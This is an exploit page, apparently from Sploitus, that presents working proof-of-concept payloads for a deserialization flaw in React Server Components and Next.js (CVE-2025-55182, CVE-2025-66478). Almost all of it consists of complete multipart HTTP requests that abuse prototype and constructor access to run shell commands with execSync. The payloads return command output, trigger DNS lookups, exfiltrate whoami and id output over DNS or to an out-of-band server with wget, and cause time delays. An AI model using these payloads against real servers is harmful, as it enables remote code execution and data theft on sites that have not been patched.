Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182 CVE-2025-66478

## https://sploitus.com/exploit?id=72ADC0A5-4134-5B6C-9E7F-DF37F4D12D88
# REACT2SHELL (CVE-2025-55182)
CVE-2025-55182 & CVE-2025-66478 proof of concepts

![PoC](/poc.png)

# Payloads

## Full RCE with output via error message (digest field)

```http
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--
```

## Trigger an external DNS query

Replace `` with your OAST server hostname.

```http
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup ');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--
```

## DNS Exfiltration

Replace `` with your OAST server hostname.

```http
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--
```

## HTTP Exfiltration

Replace `` with your OAST server hostname.

```http
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http:///?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--
```

## Trigger time delay

```http
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--
```